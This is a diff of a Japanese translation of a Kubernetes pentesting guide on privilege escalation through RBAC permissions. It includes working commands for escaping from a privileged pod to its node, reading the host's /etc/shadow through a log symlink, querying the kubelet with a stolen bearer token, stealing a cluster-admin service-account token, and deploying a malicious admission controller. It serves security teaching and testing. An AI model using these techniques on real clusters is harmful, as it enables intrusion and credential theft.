diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 44f714dd0..fa991c8f3 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -7,13 +7,13 @@ ## **特権昇格** -**異なる特権を持つ別のプリンシパルにアクセスする**技術を指します（Kubernetesクラスター内または外部クラウドへのアクセス）。Kubernetesには、特権を昇格させるための**4つの主な技術**があります： +**異なる特権を持つ別のプリンシパルにアクセスする**技術を指します（Kubernetesクラスター内または外部クラウドへのアクセス）。Kubernetesには、特権を昇格させるための**4つの主要な技術**があります： - Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/SAを**なりすます**ことができる -- Kubernetesクラスター内または外部クラウドで、より良い特権を持つSAを**見つけたり、接続したりする**ことができる**ポッドを作成/パッチ/実行**できる +- Kubernetesクラスター内または外部クラウドで、より良い特権を持つSAを**見つけたり、アタッチしたりする**ことができる**ポッドを作成/パッチ/実行**できる - SAのトークンがシークレットとして保存されているため、**シークレットを読む**ことができる -- コンテナからノードに**脱出する**ことができると、ノード上で実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる（ある場合） -- 言及に値する5番目の技術は、ポッド内で**ポートフォワードを実行する**能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。 +- コンテナからノードに**エスケープ**できる場合、ノード上で実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる +- 言及に値する5番目の技術は、ポッド内で**ポートフォワードを実行**する能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。 ### 任意のリソースまたは動詞へのアクセス（ワイルドカード） @@ -34,7 +34,7 @@ verbs: ["*"] RBACでは、特定の権限が重大なリスクをもたらします： 1. **`create`:** 任意のクラスターリソースを作成する能力を付与し、特権昇格のリスクを伴います。 -2. **`list`:** すべてのリソースを一覧表示でき、機密データが漏洩する可能性があります。 +2. **`list`:** すべてのリソースを一覧表示することを許可し、機密データが漏洩する可能性があります。 3. **`get`:** サービスアカウントからシークレットにアクセスすることを許可し、セキュリティの脅威をもたらします。 ```yaml apiVersion: rbac.authorization.k8s.io/v1 @@ -49,7 +49,7 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -ポッドを作成する権限を持つ攻撃者は、ポッドに特権のあるサービスアカウントをアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。これにより、特権を効果的に昇格させることができます。 +権限を持つ攻撃者がポッドを作成できる場合、特権のあるサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。これにより、権限が効果的に昇格します。 `bootstrap-signer`サービスアカウントのトークンを盗み、攻撃者に送信するポッドの例: ```yaml @@ -76,10 +76,10 @@ hostNetwork: true 以下は、コンテナが持つことができるすべての権限を示しています： -- **特権アクセス**（保護を無効にし、能力を設定する） +- **特権アクセス**（保護を無効にし、機能を設定する） - **namespace hostIPCおよびhostPidを無効にする** これにより権限を昇格させることができます - **hostNetwork** namespaceを無効にし、ノードのクラウド権限を盗むためのアクセスとネットワークへのより良いアクセスを提供します -- **ホストをマウントする / コンテナ内** +- **ホストをコンテナ内にマウントする** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -123,37 +123,37 @@ kubectl --token $token create -f mount_root.yaml ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -今、ノードにエスケープできるようになったので、ポストエクスプロイテーション技術を確認してください： +今、ノードにエスケープできるようになったので、ポストエクスプロイト技術を確認してください。 #### ステルス -おそらく、あなたは**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にしてポッドを作成した場合にアクセスできるものを確認できます： +おそらく、あなたは**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にするだけでポッドを作成した場合にアクセスできるものを確認できます。 -- **Privileged + hostPID** -- **Privileged only** +- **特権 + hostPID** +- **特権のみ** - **hostPath** - **hostPID** - **hostNetwork** - **hostIPC** -_前の特権ポッド構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _で見つけることができます。_ +_前述の特権ポッド構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _で見つけることができます。_ -### Pod Create - クラウドに移動 +### ポッド作成 - クラウドに移動 -**ポッド**（およびオプションで**サービスアカウント**）を**作成**できる場合、**ポッドまたはサービスアカウントにクラウドロールを割り当てることによってクラウド環境で特権を**取得できるかもしれません。そして、それにアクセスします。\ +**ポッド**（およびオプションで**サービスアカウント**）を**作成**できる場合、**ポッドまたはサービスアカウントにクラウドロールを割り当てることによってクラウド環境で特権を取得**できるかもしれません。そして、それにアクセスします。\ さらに、**ホストネットワーク名前空間**を持つ**ポッドを作成**できる場合、**ノード**インスタンスのIAMロールを**盗む**ことができます。 -詳細については、次を確認してください： +詳細については、次を確認してください。 {{#ref}} pod-escape-privileges.md {{#endref}} -### **Deployment、Daemonsets、Statefulsets、Replicationcontrollers、Replicasets、Jobs、Cronjobsの作成/パッチ** +### **デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラー、レプリカセット、ジョブ、クロンジョブの作成/パッチ** これらの権限を悪用して、**新しいポッドを作成**し、前の例のように特権を確立することが可能です。 -次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを外部に抽出**します： +次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを外部に流出させます**。 ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -193,25 +193,25 @@ path: / **`pods/exec`** は、**ポッド内のシェルでコマンドを実行するために使用されるkubernetesのリソース**です。これにより、**コンテナ内でコマンドを実行したり、シェルに入ったりすることができます**。 -したがって、**ポッドに入ってSAのトークンを盗むことができる**か、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んでノードを(悪用)することが可能です： +したがって、**ポッドに入ってSAのトークンを盗むことが可能であり、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んで（悪用）することができます**。 ```bash kubectl exec -it -n -- sh ``` ### port-forward -この権限は、**指定されたポッド内の1つのポートに1つのローカルポートを転送する**ことを許可します。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い（データベースなど）または脆弱なアプリケーション（ウェブ？）にアクセスする可能性があります。 +この権限は、**指定されたポッド内の1つのポートに1つのローカルポートを転送する**ことを許可します。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い（データベースなど）または脆弱なアプリケーション（ウェブなど）にアクセスする可能性があります。 ``` kubectl port-forward pod/mypod 5000:5000 ``` ### ホストの書き込み可能な /var/log/ エスケープ [**この研究で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**ホストの `/var/log/` ディレクトリがマウントされた**ポッドにアクセスまたは作成できる場合、**コンテナからエスケープ**することができます。\ -これは基本的に、**Kube-APIがコンテナのログを取得しようとする際**（`kubectl logs `を使用）に、ポッドの`0.log`ファイルを**Kubelet**サービスの`/logs/`エンドポイントを使用して**要求するためです**。\ +これは基本的に、**Kube-APIがコンテナのログを取得しようとする際**（`kubectl logs `を使用）、ポッドの`0.log`ファイルを**Kubelet**サービスの`/logs/`エンドポイントを使用して**要求するためです**。\ Kubeletサービスは`/logs/`エンドポイントを公開しており、これは基本的に**コンテナの`/var/log`ファイルシステムを公開している**だけです。 -したがって、**コンテナの /var/log/ フォルダーに書き込むアクセス権を持つ攻撃者**は、この動作を2つの方法で悪用することができます： +したがって、**コンテナの /var/log/ フォルダーに書き込みアクセスを持つ攻撃者**は、この動作を2つの方法で悪用することができます： -- コンテナの`0.log`ファイル（通常は`/var/logs/pods/namespace_pod_uid/container/0.log`にあります）を**`/etc/shadow`を指すシンボリックリンク**に変更します。そうすれば、次のようにしてホストのshadowファイルを抽出することができます： +- コンテナの`0.log`ファイル（通常は`/var/logs/pods/namespace_pod_uid/container/0.log`にあります）を**`/etc/shadow`を指すシンボリックリンク**に変更します。そうすれば、次のようにしてホストのシャドウファイルを抽出することができます： ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -219,7 +219,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- 攻撃者が **`nodes/log`** を読む権限を持つ任意のプリンシパルを制御している場合、彼は単に `/host-mounted/var/log/sym` に `/` への **シンボリックリンク** を作成し、**`https://:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリスト表示することができます（シンボリックリンクを変更することでファイルへのアクセスが可能になります）。 +- 攻撃者が **`nodes/log`** を読む権限を持つ任意のプリンシパルを制御している場合、彼は単に `/host-mounted/var/log/sym` に `/` への **symlink** を作成し、**`https://:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリスト表示することができます（symlinkを変更することでファイルへのアクセスが可能になります）。 ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -231,23 +231,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**実験室と自動化されたエクスプロイトは** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) **で見つけることができます。** +**実験室と自動化されたエクスプロイトは** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) **にあります。** -#### 読み取り専用保護のバイパス +#### 読み取り専用保護の回避 -運が良ければ、高度な特権を持つ能力 `CAP_SYS_ADMIN` が利用可能であれば、フォルダーをrwとして再マウントすることができます。 +運が良ければ、高度な特権を持つ能力 `CAP_SYS_ADMIN` が利用可能であれば、フォルダーをrwとして再マウントすることができます: ```bash mount -o rw,remount /hostlogs/ ``` -#### hostPathのreadOnly保護をバイパスする +#### hostPathのreadOnly保護を回避する -[**この研究**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)に記載されているように、保護をバイパスすることが可能です： +[**この研究**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)に記載されているように、保護を回避することが可能です： ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -以前のようなエスケープを防ぐために、hostPath マウントの代わりに PersistentVolume と PersistentVolumeClaim を使用して、書き込みアクセスを持つホストフォルダーをコンテナにマウントすることを意図していました。 +ホストパスマウントの代わりに、PersistentVolumeとPersistentVolumeClaimを使用して、書き込み可能なアクセスでコンテナ内にホストフォルダをマウントすることで、前述のようなエスケープを防ぐことを目的としていました。 ```yaml apiVersion: v1 kind: PersistentVolume @@ -295,9 +295,9 @@ name: task-pv-storage-vol ``` ### **特権アカウントのなりすまし** -[**ユーザーのなりすまし**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation)権限を持つ攻撃者は、特権アカウントになりすますことができます。 +[**ユーザーのなりすまし**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 権限を持つ攻撃者は、特権アカウントになりすますことができます。 -`kubectl`コマンドで`--as=`パラメータを使用してユーザーになりすますか、`--as-group=`を使用してグループになりすますだけです： +`kubectl` コマンドで `--as=` パラメータを使用してユーザーになりすますか、`--as-group=` を使用してグループになりすますだけです： ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -312,23 +312,87 @@ https://:/api/v1/namespaces/kube-system/secrets/ ``` ### シークレットのリスト -**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを許可する可能性があります** REST API エンドポイントにアクセスすることで: +**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを許可する可能性があります** REST API エンドポイントにアクセスすることによって： ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### 秘密の読み取り – トークンIDのブルートフォース攻撃 +### シークレットの作成と読み取り -読み取り権限を持つトークンを所持している攻撃者は、それを使用するために秘密の正確な名前を必要としますが、より広範な _**秘密のリスト表示**_ 権限とは異なり、依然として脆弱性があります。システム内のデフォルトサービスアカウントは列挙可能で、それぞれが秘密に関連付けられています。これらの秘密は、静的なプレフィックスの後に特定の文字を除外したランダムな5文字の英数字トークンが続く名前の構造を持っています。[ソースコード](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)によると。 +**kubernetes.io/service-account-token** タイプの特別な種類の Kubernetes シークレットがあり、サービスアカウントトークンを保存します。 +シークレットを作成および読み取る権限があり、サービスアカウントの名前も知っている場合、次のようにシークレットを作成し、そこから被害者のサービスアカウントトークンを盗むことができます: +```yaml +apiVersion: v1 +kind: Secret +metadata: +name: stolen-admin-sa-token +namespace: default +annotations: +kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` +例の悪用： +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) -トークンは、フルアルファベット範囲ではなく、限られた27文字のセット（`bcdfghjklmnpqrstvwxz2456789`）から生成されます。この制限により、可能な組み合わせの総数は14,348,907（27^5）に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密サービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。 +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] +[/.well-known/openid-configuration/] [] [get] + +[/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ +"apiVersion": "v1", +"data": { +"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", +"namespace": "ZGVmYXVsdA==", +"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" +}, +"kind": "Secret", +"metadata": { +"annotations": { +"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", +"kubernetes.io/service-account.name": "cluster-admin-sa", +"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" +}, +"creationTimestamp": "2025-01-11T13:02:27Z", +"name": "stolen-admin-sa-token", +"namespace": "default", +"resourceVersion": "1019116", +"uid": "680d119f-89d0-4fc6-8eef-1396600d7556" +}, +"type": "kubernetes.io/service-account-token" +} +``` +注意してください。特定の名前空間でシークレットを作成および読み取ることが許可されている場合、被害者のサービスアカウントも同じ名前空間に存在する必要があります。 + +### シークレットの読み取り – トークンIDのブルートフォース攻撃 + +読み取り権限を持つトークンを所持している攻撃者は、それを使用するためにシークレットの正確な名前が必要ですが、より広範な _**シークレットのリスト表示**_ 権限とは異なり、依然として脆弱性があります。システム内のデフォルトのサービスアカウントは列挙可能で、それぞれがシークレットに関連付けられています。これらのシークレットは、静的なプレフィックスの後にランダムな5文字の英数字トークン（特定の文字を除く）を持つ名前の構造を持っています。[ソースコード](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)によると。 + +トークンは、フルアルファベット範囲ではなく、限られた27文字のセット（`bcdfghjklmnpqrstvwxz2456789`）から生成されます。この制限により、可能な組み合わせの総数は14,348,907（27^5）に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密性の高いサービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。 ### 証明書署名要求 -リソース `certificatesigningrequests`（または少なくとも `certificatesigningrequests/nodeClient`）に **`create`** の動詞がある場合、新しいノードの新しいCeSRを **作成** できます。 +リソース `certificatesigningrequests` に **`create`** の動詞がある場合（または少なくとも `certificatesigningrequests/nodeClient` に）。新しいノードの新しいCeSRを**作成**できます。 -[ドキュメントによると、この要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)ので、その場合は **追加の権限は必要ありません**。そうでない場合、要求を承認できる必要があり、これは `certificatesigningrequests/approval` の更新と、リソース名 `/` または `/*` での `signers` の承認を意味します。 +[ドキュメントによると、これらの要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)ので、その場合は**追加の権限は必要ありません**。そうでない場合、要求を承認できる必要があり、これは `certificatesigningrequests/approval` での更新と、リソース名 `/` または `/*` での `approve` を意味します。 -必要なすべての権限を持つ **ロールの例** は次のとおりです: +必要なすべての権限を持つ**ロールの例**は次のとおりです： ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -364,7 +428,7 @@ verbs: [**この投稿**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)と[**こちら**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)では、GKE K8s TLSブートストラップ構成が**自動署名**で設定されており、新しいK8sノードの資格情報を生成するために悪用され、その後それを使用して秘密を盗むことで権限を昇格させます。\ **前述の権限を持っていれば、同じことができます**。最初の例は、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避します。なぜなら、**ノードは自分にマウントされたコンテナの秘密にのみアクセスできるからです。** -これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のノード資格情報を作成することです**（ただし、最初の投稿での方法を確認してください）： +これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のためにノード資格情報を作成すること**です（ただし、最初の投稿でそれを行う方法を確認してください）： ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` @@ -411,20 +475,20 @@ groups: - system:masters ``` > [!WARNING] -> **`aws-auth`**を使用して、**他のアカウント**のユーザーにアクセスを提供することで**永続性**を持たせることができます。 +> **`aws-auth`**を使用して、**他のアカウント**のユーザーにアクセスを提供することで**持続性**を確保できます。 > -> しかし、`aws --profile other_account eks update-kubeconfig --name `は**異なるアカウントからは動作しません**。しかし実際には、`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`は、名前の代わりにクラスターのARNを指定すれば動作します。\ -> `kubectl`を動作させるには、**被害者のkubeconfigを設定**し、aws exec argsに`--profile other_account_role`を追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。 +> ただし、`aws --profile other_account eks update-kubeconfig --name `は**異なるアカウントからは機能しません**。しかし、実際には`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`は、名前の代わりにクラスターのARNを指定すれば機能します。\ +> `kubectl`を機能させるには、**被害者のkubeconfigを設定**し、aws exec argsに`--profile other_account_role`を追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。 ### GKEでの権限昇格 **GCPのプリンシパルにK8sの権限を割り当てる方法は2つあります**。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を取得するために**`container.clusters.get`**の権限が必要です。そうでなければ、**自分自身のkubectl設定ファイルを生成する必要があります**（次のリンクを参照）。 > [!WARNING] -> K8s APIエンドポイントに話しかけると、**GCP認証トークンが送信されます**。その後、GCPはK8s APIエンドポイントを通じて、最初に**プリンシパル**（メールアドレスによって）が**クラスター内にアクセス権を持っているかどうかを確認し**、次に**GCP IAMを介してアクセス権を持っているかどうかを確認します**。\ -> もし**いずれか**が**真**であれば、**応答**されます。**そうでなければ**、**GCP IAMを介して権限を与える**ことを提案する**エラー**が表示されます。 +> K8s APIエンドポイントに話しかけると、**GCP認証トークンが送信されます**。その後、GCPはK8s APIエンドポイントを通じて、最初に**プリンシパル**（メールアドレスによる）が**クラスター内にアクセス権を持っているかどうかを確認し**、次に**GCP IAMを介してアクセス権を持っているかどうかを確認します**。\ +> もし**いずれか**が**真**であれば、**応答**されます。そうでなければ、**GCP IAMを介して権限を与える**ことを提案する**エラー**が表示されます。 -最初の方法は**GCP IAM**を使用することで、K8sの権限には**対応するGCP IAMの権限**があります。プリンシパルがそれを持っていれば、使用できるようになります。 +最初の方法は**GCP IAM**を使用することで、K8sの権限には**同等のGCP IAM権限**があります。プリンシパルがそれを持っていれば、使用できるようになります。 {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md @@ -434,21 +498,21 @@ groups: ### サービスアカウントトークンの作成 -**TokenRequests**（`serviceaccounts/token`）を**作成できるプリンシパル**。K8s APIエンドポイントに話しかけると、SAs（情報は[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)）。 +**TokenRequests**（`serviceaccounts/token`）を**作成できるプリンシパル**は、K8s APIエンドポイントに話しかけるときにSAs（情報は[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)）です。 ### ephemeralcontainers -**`update`**または**`patch`**の権限を持つ**`pods/ephemeralcontainers`**のプリンシパルは、**他のポッドでコードを実行**でき、特権のあるsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。 +**`update`**または**`patch`**の**`pods/ephemeralcontainers`**を行うことができるプリンシパルは、**他のポッドでコード実行を得る**ことができ、特権のsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。 ### ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations `validatingwebhookconfigurations`または`mutatingwebhookconfigurations`に対して`create`、`update`、または`patch`のいずれかの動詞を持つプリンシパルは、**権限を昇格させるためにそのようなwebhookconfigurationsの1つを作成できる**可能性があります。 -[`mutatingwebhookconfigurations`の例については、この投稿のこのセクションを確認してください](./#malicious-admission-controller)。 +[`mutatingwebhookconfigurations`の例については、この投稿のこのセクションを確認してください](#malicious-admission-controller)。 ### 権限昇格 -次のセクションで読むことができるように：[**組み込みの特権昇格防止**](./#built-in-privileged-escalation-prevention)、プリンシパルは新しい権限を持たずにロールやクラスターのロールを更新または作成することはできません。**`roles`**または**`clusterroles`**に対して**動詞`escalate`**を持っている場合を除いて。\ +次のセクションで読むことができるように：[**組み込みの特権昇格防止**](#built-in-privileged-escalation-prevention)、プリンシパルは新しい権限を持たずにロールやクラスターのロールを更新または作成することはできません。**`roles`**または**`clusterroles`**に対して**`escalate`**の動詞を持っている場合を除きます。\ その場合、彼はより良い権限を持つ新しいロールやクラスターのロールを更新/作成できます。 ### ノードプロキシ @@ -459,7 +523,7 @@ groups: ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -[**Kubelet APIに認可された状態でRCEを取得する方法の例はこちら**](../pentesting-kubernetes-services/#kubelet-rce)。 +[**Kubelet APIに認可された状態でRCEを取得する方法の例はこちら**](../pentesting-kubernetes-services/index.html#kubelet-rce)。 ### ポッドの削除 + スケジュール不可のノード @@ -480,15 +544,15 @@ kubectl delete pods -n kube-system ### ノードとポッドのステータス -`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるラベルを修正できます。 +`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるためにラベルを修正できます。 ## 組み込みの特権昇格防止 Kubernetes には、特権昇格を防ぐための [組み込みメカニズム](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。 -このシステムは、**ユーザーが役割や役割バインディングを修正することで特権を昇格させることができない**ことを保証します。このルールの施行は API レベルで行われ、RBAC 認証者が非アクティブな場合でも保護を提供します。 +このシステムは、**ユーザーが役割や役割バインディングを修正することによって特権を昇格させることができない**ことを保証します。このルールの施行は API レベルで行われ、RBAC 認証者が非アクティブな場合でも保護を提供します。 -ルールは、**ユーザーは役割が含むすべての権限を持っている場合にのみ役割を作成または更新できる**と定めています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません：ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース（またはクラスター全体）に制限されます。 +このルールは、**ユーザーは役割が含むすべての権限を持っている場合にのみ役割を作成または更新できる**と定めています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません：ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース（またはクラスター全体）に制限されます。 > [!WARNING] > 前述のルールには例外があります。プリンシパルが **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** を持っている場合、彼は自分自身が権限を持っていなくても役割やクラスター役割の特権を増加させることができます。 @@ -496,17 +560,17 @@ Kubernetes には、特権昇格を防ぐための [組み込みメカニズム] ### **RoleBindings/ClusterRoleBindings の取得とパッチ** > [!CAUTION] -> **この技術は以前は機能していたようですが、私のテストによると、前のセクションで説明した理由でもはや機能していません。権限を持っていない場合、役割バインディングを作成/修正して自分自身または別の SA に特権を与えることはできません。** +> **この技術は以前は機能していたようですが、私のテストによると、前のセクションで説明した理由により、もう機能していません。権限を持っていない場合、役割バインディングを作成/修正して自分自身または別の SA に特権を与えることはできません。** -Rolebindings を作成する特権は、ユーザーが **サービスアカウントに役割をバインドする** ことを可能にします。この特権は、**ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。** +Rolebindings を作成する特権は、ユーザーが **サービスアカウントに役割をバインドする**ことを可能にします。この特権は、**ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。** ## その他の攻撃 -### サイドカープロキシアプリ +### サイドカー プロキシ アプリ -デフォルトでは、ポッド間の通信に暗号化はありません。相互認証、双方向、ポッドからポッドへ。 +デフォルトでは、ポッド間の通信には暗号化がありません。相互認証、双方向、ポッドからポッドへ。 -#### サイドカープロキシアプリの作成 +#### サイドカー プロキシ アプリの作成 あなたの .yaml を作成してください。 ```bash @@ -544,7 +608,7 @@ add: ["NET_ADMIN"] # securityContext: # allowPrivilegeEscalation: true ``` -プロキシのログを確認してください: +プロキシのログを確認してください： ```bash kubectl logs app -C proxy ``` @@ -554,16 +618,16 @@ More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security Admission Controllerは、オブジェクトの永続化の前にKubernetes APIサーバーへのリクエストを**傍受**しますが、**リクエストが認証**され、**承認**された後です。 -攻撃者が何らかの方法で**Mutationg Admission Controllerを注入**することに成功すれば、**すでに認証されたリクエストを変更**することができます。これにより、潜在的に権限昇格が可能になり、通常はクラスター内に持続することができます。 +攻撃者が何らかの方法で**Mutationg Admission Controllerを注入**することに成功すれば、**すでに認証されたリクエストを変更**することができます。これにより、潜在的に権限昇格を行ったり、より一般的にはクラスター内に持続することが可能になります。 -**例は** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) から: +**例として** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -準備ができているかどうかステータスを確認してください: +ステータスを確認して、準備ができているかどうかを確認してください： ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo @@ -575,18 +639,18 @@ kubectl get deploy,svc -n webhook-demo kubectl run nginx --image nginx kubectl get po -w ``` -`ErrImagePull` エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください: +`ErrImagePull`エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -上記の画像に示されているように、私たちはイメージ `nginx` を実行しようとしましたが、最終的に実行されたイメージは `rewanthtammana/malicious-image` です。何が起こったのでしょうか？ 